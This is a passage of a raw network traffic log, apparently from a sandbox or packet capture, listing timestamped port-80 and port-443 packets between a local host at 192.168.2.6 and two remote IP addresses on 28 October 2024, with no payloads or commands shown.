Oct 28, 2024 02:07:48.378200054 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378212929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378216982 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378230095 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378237963 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378245115 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378252983 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378268003 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378276110 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378288031 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378294945 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378300905 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378304958 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378314018 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378325939 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378330946 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378338099 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378351927 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378356934 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378369093 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378387928 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378388882 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378398895 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378401041 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378429890 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378432989 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378451109 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378454924 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378464937 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378477097 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378480911 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378488064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378493071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378500938 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378510952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378516912 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378523111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378535986 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378547907 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378547907 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378559113 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378566980 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378568888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378588915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378595114 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378602028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378612041 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378623962 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378627062 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378638983 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378644943 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378652096 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378663063 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378664017 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378674984 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378676891 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378688097 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378699064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378704071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378710985 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378724098 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378736019 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378741980 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378741980 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378747940 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378774881 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378802061 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378803968 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378823042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378835917 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378848076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378859997 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378864050 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378870964 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378884077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378891945 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378902912 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378911018 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378916025 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378926992 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378927946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378941059 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378951073 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378954887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378982067 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378993988 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379005909 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379033089 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379035950 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379046917 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379059076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379086018 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379106998 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379111052 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379120111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379132032 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379156113 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379163027 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379170895 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379183054 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379190922 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379195929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379209042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379215956 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379247904 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379262924 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379371881 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379384041 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379395008 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379406929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379434109 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379442930 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379453897 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379462004 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379466057 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379479885 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379489899 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379493952 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379502058 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379513979 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379528046 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379534006 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379547119 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379551888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379559994 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379565001 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379578114 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379587889 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379590034 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379601955 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379622936 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379637957 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379642010 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379652023 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379662991 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379678011 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379683018 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379688025 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379697084 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379708052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379720926 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379728079 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379733086 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379745007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379755020 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379760027 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379766941 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379780054 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379781961 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379801989 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379812002 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379820108 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379823923 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379841089 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379852057 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379858971 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379864931 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379877090 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379890919 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379890919 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379901886 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379914999 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379926920 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.379929066 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379965067 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.379976988 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.380091906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.380131960 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.380269051 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.380280972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.380319118 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.380450010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.380461931 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.380491972 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.380517006 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.380569935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.380580902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.380606890 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.380624056 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.380693913 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.380703926 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.380736113 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.380764008 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.380783081 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.380795002 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.380800009 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.380834103 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.392358065 CET	443	49999	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:48.392678976 CET	49999	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:48.392700911 CET	443	49999	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:48.393836975 CET	443	49999	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:48.394411087 CET	49999	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:48.394586086 CET	443	49999	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:48.394634008 CET	49999	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:48.435332060 CET	443	49999	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:48.442881107 CET	49999	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:48.494931936 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.494954109 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.494965076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.494976044 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.494987965 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495028973 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495121002 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495132923 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495151043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495160103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495176077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495186090 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495189905 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495197058 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495206118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495212078 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495213032 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495223999 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495238066 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495238066 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495249987 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495260954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495270014 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495280027 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495285988 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495290995 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495302916 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495318890 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495330095 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495335102 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495353937 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495359898 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495369911 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495378971 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495388985 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495397091 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495404959 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495414972 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495417118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495426893 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495436907 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495450020 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495454073 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495470047 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495471001 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495498896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495502949 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495511055 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495516062 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495522022 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495532990 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495549917 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495553017 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495565891 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495574951 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495587111 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495588064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495599031 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495600939 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495609999 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495620966 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495630026 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495651007 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495661974 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495673895 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495682001 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495683908 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495693922 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495703936 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495707035 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495713949 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495724916 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495727062 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495733976 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495750904 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495769978 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495783091 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495815992 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.495969057 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.495996952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496007919 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496016026 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496049881 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496054888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496068001 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496072054 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496085882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496095896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496099949 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496105909 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496117115 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496119976 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496134043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496145010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496148109 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496155024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496165991 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496170998 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496176004 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496186018 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496202946 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496205091 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496217012 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496227026 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496233940 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496237040 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496248007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496253014 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496277094 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496310949 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496356964 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496376038 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496387005 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496397972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496411085 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496423960 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496438026 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496459007 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496475935 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496584892 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496597052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496607065 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496639013 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496659994 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496786118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496815920 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496826887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496833086 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496838093 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496843100 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496848106 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496854067 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496855974 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496865034 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496870041 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496881962 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496891975 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496902943 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496921062 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496922970 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496932983 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496943951 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.496951103 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.496961117 CET	80	49967	185.215.113.206	192.168.2.6
